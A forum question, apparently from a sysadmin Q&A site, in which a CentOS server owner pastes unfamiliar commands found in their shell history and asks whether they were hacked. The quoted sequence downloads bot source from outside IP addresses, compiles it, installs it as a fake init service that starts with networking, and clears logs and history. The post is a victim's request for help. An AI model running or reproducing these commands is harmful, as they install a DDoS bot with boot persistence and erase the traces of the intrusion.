This question already has an answer here:
- How do I deal with a compromised server? 12 answers
We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following:
unset HISTFILE mkdir /usr/lib/tmp cd /usr/lib/tmp wget http://22.214.171.124/mzb.c -o /dev/null wget http://126.96.36.199/windef.h -o /dev/null gcc mzb.c -o /bin/bot -lpthread rm -rf mzb.c rm -rf windef.h wget http://188.8.131.52/botsupport.sh -o /dev/null chmod +x botsupport.sh mv botsupport.sh /etc/init.d/httpd2 cat /etc/init.d/network > /etc/init.d/network.bp echo \#\!/bin/sh > /etc/init.d/network echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network cat /etc/init.d/network.bp >> /etc/init.d/network cat /dev/null > /var/log/lastlog history -c nohup /etc/init.d/httpd2 &
(&&'s replaced with newlines for clarity)
I never ran these commands, EVER! How did this happen, is my server being hacked? I immediately changed my root password, but was hoping someone could make heads or tails of what's happening over here.
I see references made in the source to ddos bots, and me and my colleague are seriously concerned!
Thanks in advance!